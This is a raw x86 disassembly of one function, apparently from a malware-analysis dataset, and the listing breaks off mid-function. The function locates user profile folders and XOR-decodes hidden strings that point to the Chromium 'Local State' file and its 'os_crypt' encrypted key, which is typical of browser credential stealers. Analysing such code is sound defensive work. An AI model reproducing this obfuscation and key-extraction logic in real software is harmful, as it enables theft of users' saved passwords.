Function at 0x430b10
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x505e8e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x2e0
mov eax, ecx
mov byte [ebp - 0x27], dl
push esi
mov dword [ebp - 0x100], eax
push edi
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
push 0x104
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 2
push 0
push eax
mov dword [ebp - 0x1c], 1
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x2f0]
push eax
movzx eax, byte [ebp - 0x27]
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x2f0]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x430bc0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x1c]
sub eax, edx
cmp eax, ecx
jb 0x432532
cmp dword [ebx + 0x20], 0x10
lea eax, [ebx + 0xc]
push edx
cmovae eax, dword [ebx + 0xc]
push eax
push ecx
lea eax, [ebp - 0x2f0]
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x118]
call fcn.0046d420
mov edi, 0x100001
mov dword [ebp - 0x1c], edi
mov dword [ebp - 4], 3
xor eax, eax
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], eax
mov byte [ebp - 4], 4
cmp byte [ebx + 8], al
jne 0x4310ba
sub esp, 0x18
lea eax, [ebp - 0x118]
mov ecx, esp
push eax
call fcn.00465a60
push 0
mov dl, 1
lea ecx, [ebp - 0x7c]
call fcn.004205e0
add esp, 0x1c
mov byte [ebp - 4], 5
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x78]
mov esi, dword [ebp - 0x7c]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x430d38
lea ecx, [ebp - 0x7c]
call fcn.00467c60
mov ecx, dword [ebp - 0x104]
cmp ecx, 0x10
jb 0x430cbb
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430cb1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebx + 0x20]
cmp ecx, 0x10
jb 0x430cef
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430ce5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebx + 0x38]
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], 0xf
mov byte [ebx + 0xc], 0
cmp ecx, 0x10
jb 0x432519
mov edx, dword [ebx + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43250f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
jmp 0x43250f
xor ecx, ecx
mov dword [ebp - 0x4c], ecx
test eax, eax
je 0x4310a9
xor eax, eax
mov dword [ebp - 0x48], eax
nop word [eax + eax]
add eax, esi
mov word [ebp - 0x43], 0x5c
lea ecx, [ebp - 0x43]
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x41], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x430d65
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x108]
sub eax, edx
cmp eax, ecx
jb 0x432532
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push ecx
cmovae eax, dword [ebp - 0x118]
lea ecx, [ebp - 0x43]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x6c]
call fcn.0046d420
or edi, 0x40000
mov dword [ebp - 0x1c], edi
sub esp, 0x18
mov byte [ebp - 4], 6
mov esi, esp
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x18], esi
push dword [ebp - 0x54]
call fcn.004657e0
xorps xmm0, xmm0
lea ecx, [ebp - 0xfc]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
or edi, 0x80000
mov dword [esi + 0x14], 0
xor dl, dl
movups xmm0, xmmword [eax]
push 0
mov dword [ebp - 0x14], edi
movups xmmword [esi], xmm0
mov dword [ebp - 0x1c], edi
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.004205e0
add esp, 0x1c
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x430e55
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x430e4b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov ecx, dword [ebp - 0xf8]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0xfc]
sub ecx, esi
imul ecx
mov dword [ebp - 0x5c], 0
sar edx, 2
mov eax, edx
mov dword [ebp - 0x58], 0xf
shr eax, 0x1f
mov byte [ebp - 0x6c], 0
add eax, edx
je 0x43106d
mov dword [ebp - 0x40], 0
test eax, eax
je 0x43106d
xor eax, eax
mov dword [ebp - 0x70], eax
mov edi, eax
cmp dword [ebx + 0x38], 0x10
lea ecx, [esi + eax]
mov eax, dword [ecx + 0x10]
lea esi, [ebx + 0x24]
cmovae esi, dword [ebx + 0x24]
cmp dword [ecx + 0x14], 0x10
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x18], esi
jb 0x430ec4
mov ecx, dword [ecx]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebx + 0x34]
cmp edx, eax
ja 0x431038
sub eax, edx
test edx, edx
je 0x430f90
movsx edx, byte [esi]
inc eax
add eax, ecx
mov dword [ebp - 0xf0], edx
mov dword [ebp - 0x54], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.004e03a0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x431035
nop
mov ecx, esi
mov edx, edi
mov esi, dword [ebx + 0x34]
sub esi, 4
jb 0x430f21
nop dword [eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x430f26
add edx, 4
add ecx, 4
sub esi, 4
jae 0x430f10
cmp esi, 0xfffffffc
je 0x430f5a
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x430f53
cmp esi, 0xfffffffd
je 0x430f5a
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x430f53
cmp esi, 0xfffffffe
je 0x430f5a
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x430f53
cmp esi, 0xffffffff
je 0x430f5a
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x430f5a
sbb eax, eax
or eax, 1
jmp 0x430f5c
xor eax, eax
test eax, eax
je 0x430f84
mov eax, dword [ebp - 0x54]
inc edi
sub eax, edi
push eax
push dword [ebp - 0xf0]
push edi
call fcn.004e03a0
mov esi, dword [ebp - 0x18]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x430f00
jmp 0x431035
sub edi, dword [ebp - 0x50]
cmp edi, 0xffffffff
je 0x431035
mov esi, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
mov ecx, esi
xor edi, edi
sub ecx, dword [ebp - 0x90]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x18], eax
je 0x430ffc
mov ecx, dword [ebp - 0x48]
add ecx, dword [ebp - 0x7c]
mov esi, dword [ebp - 0x90]
mov dword [ebp - 0x54], ecx
mov edx, dword [ecx + 0x10]
cmp dword [ecx + 0x14], 0x10
mov eax, ecx
jb 0x430fcf
mov eax, dword [ecx]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x430fd9
mov ecx, dword [esi]
push edx
mov edx, dword [esi + 0x10]
push eax
call fcn.00475720
add esp, 8
test al, al
jne 0x431035
mov ecx, dword [ebp - 0x54]
inc edi
add esi, 0x18
mov edx, dword [ecx + 0x10]
cmp edi, dword [ebp - 0x18]
jb 0x430fc5
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0x48]
push eax
cmp esi, dword [ebp - 0x88]
je 0x431020
mov ecx, esi
call fcn.00465a60
add esi, 0x18
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x8c], esi
jmp 0x431035
push esi
lea ecx, [ebp - 0x90]
call fcn.004726f0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x2c], eax
mov edi, dword [ebp - 0x40]
mov ecx, dword [ebp - 0xf8]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0xfc]
inc edi
add dword [ebp - 0x70], 0x18
sub ecx, esi
imul ecx
mov dword [ebp - 0x40], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
mov eax, dword [ebp - 0x70]
jb 0x430ea2
mov edi, dword [ebp - 0x14]
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 5
call fcn.00467c60
mov ecx, dword [ebp - 0x78]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x7c]
sub ecx, esi
inc dword [ebp - 0x4c]
add dword [ebp - 0x48], 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x4c], eax
jae 0x4310a9
mov eax, dword [ebp - 0x48]
jmp 0x430d50
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 4
call fcn.00467c60
mov esi, dword [ebp - 0x2c]
jmp 0x431129
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
lea eax, [ebp - 0x6c]
mov byte [ebp - 4], 9
push eax
push 0
lea ecx, [ebp - 0x90]
call fcn.004725d0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x431120
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431116
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov esi, dword [ebp - 0x8c]
mov dword [ebp - 0x2c], esi
mov ecx, esi
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x90]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x431205
xorps xmm0, xmm0
mov dword [ebp - 0xb8], eax
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], al
mov byte [ebp - 4], 0xa
cmp esi, dword [ebp - 0x88]
je 0x4311ab
movups xmmword [esi], xmm0
mov dword [esi + 0x10], eax
lea ecx, [eax + 0xf]
movups xmm0, xmmword [ebp - 0xc8]
mov dword [esi + 0x14], eax
mov byte [ebp - 0xc8], al
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0xb8]
movq qword [esi + 0x10], xmm0
add esi, 0x18
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x8c], esi
jmp 0x4311cd
lea eax, [ebp - 0xc8]
push eax
push esi
lea ecx, [ebp - 0x90]
call fcn.004725d0
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 4
cmp ecx, 0x10
jb 0x431205
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4311fb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0xa0], 0x8f84a6b5
xor ecx, ecx
mov dword [ebp - 0x9c], 0xa3cf828c
mov dword [ebp - 0x98], 0x91879385
mov word [ebp - 0x94], 0x100
nop
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xa0], al
inc ecx
cmp ecx, 0xc
jb 0x431230
sub esp, 0x18
mov byte [ebp - 0x93], 0
mov esi, esp
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x18], esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431260
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x108]
sub eax, edx
cmp eax, ecx
jb 0x43253c
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push ecx
cmovae eax, dword [ebp - 0x118]
lea ecx, [ebp - 0xa0]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
mov ecx, esi
call fcn.0046d420
or edi, 0x20000
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x1c], edi
call fcn.0040b890
add esp, 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x168], 0
mov esi, 0xf
movups xmmword [ebp - 0x178], xmm0
mov dword [ebp - 0x164], esi
mov byte [ebp - 0x178], 0
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x198], 0
je 0x43153b
sub esp, 0x28
lea edx, [ebp - 0x1a8]
mov eax, esp
lea ecx, [ebp - 0xb0]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00469eb0
add esp, 0x30
mov byte [ebp - 4], 0xd
xor ecx, ecx
mov dword [ebp - 0x26], 0x8fb49986
mov dword [ebp - 0x22], 0x849f979f
mov word [ebp - 0x1e], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 8
jb 0x431333
lea eax, [ebp - 0x26]
mov byte [ebp - 0x1d], 0
push eax
lea ecx, [ebp - 0xb0]
call fcn.00469b20
cmp byte [eax], 0
je 0x43152c
mov dword [ebp - 0x26], 0x8fb49986
xor ecx, ecx
mov dword [ebp - 0x22], 0x849f979f
mov word [ebp - 0x1e], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 8
jb 0x431373
lea eax, [ebp - 0x26]
mov byte [ebp - 0x1d], 0
push eax
lea ecx, [ebp - 0xb0]
call fcn.00469b20
mov edx, eax
mov dword [ebp - 0x3b], 0x9e88848c
mov dword [ebp - 0x37], 0x959b9e94
xor ecx, ecx
mov dword [ebp - 0x33], 0x9198ad95
mov word [ebp - 0x2f], 0x8c
mov byte [ebp - 0x2d], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 0xd
jb 0x4313b7
lea eax, [ebp - 0x3b]
mov byte [ebp - 0x2d], 0
push eax
mov ecx, edx
call fcn.00469b20
cmp byte [eax], 0
je 0x43152c
mov dword [ebp - 0x26], 0x8fb49986
xor ecx, ecx
mov dword [ebp - 0x22], 0x849f979f
mov word [ebp - 0x1e], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 8
jb 0x4313f3
lea eax, [ebp - 0x26]
mov byte [ebp - 0x1d], 0
push eax
lea ecx, [ebp - 0xb0]
call fcn.00469b20
mov edx, eax
mov dword [ebp - 0x3b], 0x9e88848c
mov dword [ebp - 0x37], 0x959b9e94
xor ecx, ecx
mov dword [ebp - 0x33], 0x9198ad95
mov word [ebp - 0x2f], 0x8c
mov byte [ebp - 0x2d], 1
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 0xd
jb 0x431437
lea eax, [ebp - 0x3b]
mov byte [ebp - 0x2d], 0
push eax
mov ecx, edx
call fcn.00469b20
lea ecx, [ebp - 0x190]
push ecx
mov ecx, eax
call fcn.00469c60
mov edx, eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x6c]
call fcn.00402540
lea ecx, [ebp - 0x178]
cmp ecx, eax
je 0x4314a8
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x178], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x168], xmm0
mov esi, dword [ebp - 0x164]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x4314dc
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4314d2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432541
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x17c]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
cmp ecx, 0x10
jb 0x43152c
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431522
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432541
push ecx
push edx
call fcn.004dcbd1
add esp, 8
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0xc
call fcn.00463500
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub ecx, dword [ebp - 0x90]
mov dword [ebp - 0x70], eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x54], eax
je 0x432410
xor edx, edx
cmp byte [ebx + 8], 0
je 0x431593
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
lea esi, [ebp - 0x6c]
mov byte [ebp - 4], 0xf
or edi, 2
jmp 0x43162d
mov dword [ebp - 0x3a], 0x8f84a6b5
xor ecx, ecx
mov dword [ebp - 0x36], 0xa3cf828c
mov dword [ebp - 0x32], 0x91879385
mov word [ebp - 0x2e], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x3a], al
inc ecx
cmp ecx, 0xc
jb 0x4315b0
mov ecx, dword [ebp - 0x90]
lea eax, [edx + edx*2]
mov esi, dword [ecx + eax*8 + 0x10]
lea edx, [ecx + eax*8]
lea ecx, [ebp - 0x3a]
mov byte [ebp - 0x2d], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4315e0
sub ecx, dword [ebp - 0x18]
mov eax, closesocket
sub eax, esi
cmp eax, ecx
jb 0x432532
cmp dword [edx + 0x14], 0x10
jb 0x431601
mov edx, dword [edx]
push ecx
lea eax, [ebp - 0x3a]
push eax
push esi
push edx
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x148]
call fcn.0046d420
or edi, 0x8000
lea esi, [ebp - 0x148]
mov dword [ebp - 4], 0x10
or edi, 4
lea ecx, [ebp - 0x43]
mov dword [ebp - 0x1c], edi
mov word [ebp - 0x43], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x41], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431640
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x108]
sub eax, edx
cmp eax, ecx
jb 0x432532
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push ecx
cmovae eax, dword [ebp - 0x118]
lea ecx, [ebp - 0x43]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x130]
call fcn.0046d420
or edi, 0x400
mov dword [ebp - 0x1c], edi
sub esp, 0x18
mov dword [ebp - 4], 0x11
mov ecx, esp
lea eax, [ebp - 0x130]
mov dword [ebp - 0x18], ecx
push esi
push eax
push dword [ebp - 0x18]
call fcn.0046d230
or edi, 0x800
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
call fcn.0040b890
add esp, 0x18
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x431708
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4316fe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x14
mov eax, dword [ebp - 0x14]
test al, 4
je 0x431759
mov ecx, dword [ebp - 0x134]
and eax, 0xfffffffb
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x431759
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43174c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0x15
test al, 2
je 0x43179e
mov ecx, dword [ebp - 0x58]
and eax, 0xfffffffd
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x43179e
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431794
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
xorps xmm0, xmm0
xor esi, esi
mov edi, 0xf
mov dword [ebp - 0x150], esi
movups xmmword [ebp - 0x160], xmm0
mov dword [ebp - 0x14c], edi
mov byte [ebp - 0x160], 0
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x1d8], esi
je 0x431aa4
cmp dword [ebp - 0x168], esi
jne 0x431aa4
sub esp, 0x28
lea edx, [ebp - 0x1e8]
mov eax, esp
lea ecx, [ebp - 0x1b8]
push esi
push 1
mov dword [eax + 0x24], esi
call fcn.00469eb0
add esp, 0x30
mov byte [ebp - 4], 0x17
xor ecx, ecx
mov dword [ebp - 0xdc], 0x8fb49986
mov dword [ebp - 0xd8], 0x849f979f
mov word [ebp - 0xd4], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xdc], al
inc ecx
cmp ecx, 8
jb 0x431820
lea eax, [ebp - 0xdc]
mov byte [ebp - 0xd3], 0
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00469b20
cmp byte [eax], 0
je 0x431a74
mov dword [ebp - 0xd2], 0x8fb49986
xor ecx, ecx
mov dword [ebp - 0xce], 0x849f979f
mov word [ebp - 0xca], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xd2], al
inc ecx
cmp ecx, 8
jb 0x431872
lea eax, [ebp - 0xd2]
mov byte [ebp - 0xc9], 0
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00469b20
mov edx, eax
mov dword [ebp - 0xeb], 0x9e88848c
mov dword [ebp - 0xe7], 0x959b9e94
xor ecx, ecx
mov dword [ebp - 0xe3], 0x9198ad95
mov word [ebp - 0xdf], 0x8c
mov byte [ebp - 0xdd], 1
nop
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xeb], al
inc ecx
cmp ecx, 0xd
jb 0x4318d0
lea eax, [ebp - 0xeb]
mov byte [ebp - 0xdd], 0
push eax
mov ecx, edx
call fcn.00469b20
cmp byte [eax], 0
je 0x431a74
mov dword [ebp - 0x7a], 0x8fb49986
xor ecx, ecx
mov dword [ebp - 0x76], 0x849f979f
mov word [ebp - 0x72], 0x100
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0x7a], al
inc ecx
cmp ecx, 8
jb 0x431915
lea eax, [ebp - 0x7a]
mov byte [ebp - 0x71], 0
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00469b20
mov edx, eax
mov dword [ebp - 0xaf], 0x9e88848c
mov dword [ebp - 0xab], 0x959b9e94
xor ecx, ecx
mov dword [ebp - 0xa7], 0x9198ad95
mov word [ebp - 0xa3], 0x8c
mov byte [ebp - 0xa1], 1
nop dword [eax + eax]
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xaf], al
inc ecx
cmp ecx, 0xd
jb 0x431970
lea eax, [ebp - 0xaf]
mov byte [ebp - 0xa1], 0
push eax
mov ecx, edx
call fcn.00469b20
lea ecx, [ebp - 0x190]
push ecx
mov ecx, eax
call fcn.00469c60
mov edx, eax
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x6c]
call fcn.00402540
lea ecx, [ebp - 0x160]
cmp ecx, eax
je 0x4319f0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x160], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x150], xmm0
mov esi, dword [ebp - 0x150]
mov edi, dword [ebp - 0x14c]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x431a24
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431a1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x17c]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
cmp ecx, 0x10
jb 0x431a74
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431a6a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432537
push ecx
push edx
call fcn.004dcbd1
add esp, 8
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x16
call fcn.00463500
test esi, esi
je 0x431aa4
cmp edi, 0x10
lea eax, [ebp - 0x160]
push esi
cmovae eax, dword [ebp - 0x160]
lea ecx, [ebp - 0x178]
push eax
call fcn.00465640
movaps xmm0, xmmword [0x5266c0]
xor ecx, ecx
movups xmmword [ebp - 0xc7], xmm0
mov dword [ebp - 0xb7], 0x98979f8f
mov word [ebp - 0xb3], 0x9f
mov byte [ebp - 0xb1], 1
nop
mov al, cl
sub al, 0x17
xor byte [ebp + ecx - 0xc7], al
inc ecx
cmp ecx, 0x15
jb 0x431ad0
cmp byte [ebx + 8], 0
mov byte [ebp - 0xb1], 0
jne 0x431b85
cmp dword [ebp - 0x54], 1
jne 0x431b08
mov eax, dword [ebp - 0x90]
cmp dword [eax + 0x10], 0
je 0x431b85
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x90]
mov word [ebp - 0x3f], 0x5c
mov byte [ebp - 0x3d], 0
lea eax, [eax + eax*2]
mov esi, dword [ecx + eax*8 + 0x10]
lea edx, [ecx + eax*8]
lea ecx, [ebp - 0x3f]
lea edi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431b30
mov eax, closesocket
sub ecx, edi
sub eax, esi
cmp eax, ecx
jb 0x432532
cmp dword [edx + 0x14], 0x10
jb 0x431b50
mov edx, dword [edx]
push ecx
lea eax, [ebp - 0x3f]
push eax
push esi
push edx
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x190]
call fcn.0046d420
mov eax, dword [ebp - 0x14]
or eax, 0x10000
or eax, 8
mov byte [ebp - 4], 0x19
lea edi, [ebp - 0x190]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov esi, eax
jmp 0x431bc0
xorps xmm0, xmm0
mov dword [ebp - 0x120], 0
movups xmmword [ebp - 0x130], xmm0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
mov dword [ebp - 4], 0x1a
lea edi, [ebp - 0x130]
mov esi, dword [ebp - 0x14]
or esi, 0x10
mov dword [ebp - 0x1c], esi
lea ecx, [ebp - 0x2b]
mov word [ebp - 0x2b], 0x5c
mov byte [ebp - 0x29], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431bd0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x108]
sub eax, edx
cmp eax, ecx
jb 0x432532
cmp dword [ebp - 0x104], 0x10
lea eax, [ebp - 0x118]
push ecx
cmovae eax, dword [ebp - 0x118]
lea ecx, [ebp - 0x2b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x148]
call fcn.0046d420
or esi, 0x2000
mov dword [ebp - 0x1c], esi
push edi
lea eax, [ebp - 0x148]
mov dword [ebp - 4], 0x1b
push eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x6c]
call fcn.0046d230
or esi, 0x4000
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0xc7]
